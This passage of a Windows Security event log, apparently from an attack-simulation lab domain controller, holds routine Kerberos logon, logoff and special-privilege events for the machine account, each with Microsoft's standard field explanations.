	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249350
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE17C0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249349
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE175F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249348
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE175F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64214

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249347
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE175F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249370
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1A20

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249369
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1A20
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64221

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249368
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1A20

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249367
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE19BF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249366
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE19BF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64220

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249365
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE19BF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249364
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1959

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249363
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1959
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64219

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249362
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1959

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249361
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE18F8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249360
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE18F8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64218

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249359
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE18F8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249382
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1BD2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249381
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1BD2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64225

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249380
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1BD2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249379
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1B71

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249378
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1B71
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64224

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249377
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1B71

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249376
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1B0B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249375
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1B0B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64223

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249374
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1B0B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249373
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1AAA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249372
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1AAA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64222

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249371
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1AAA

Privileges:		SeSecurityPrivilege
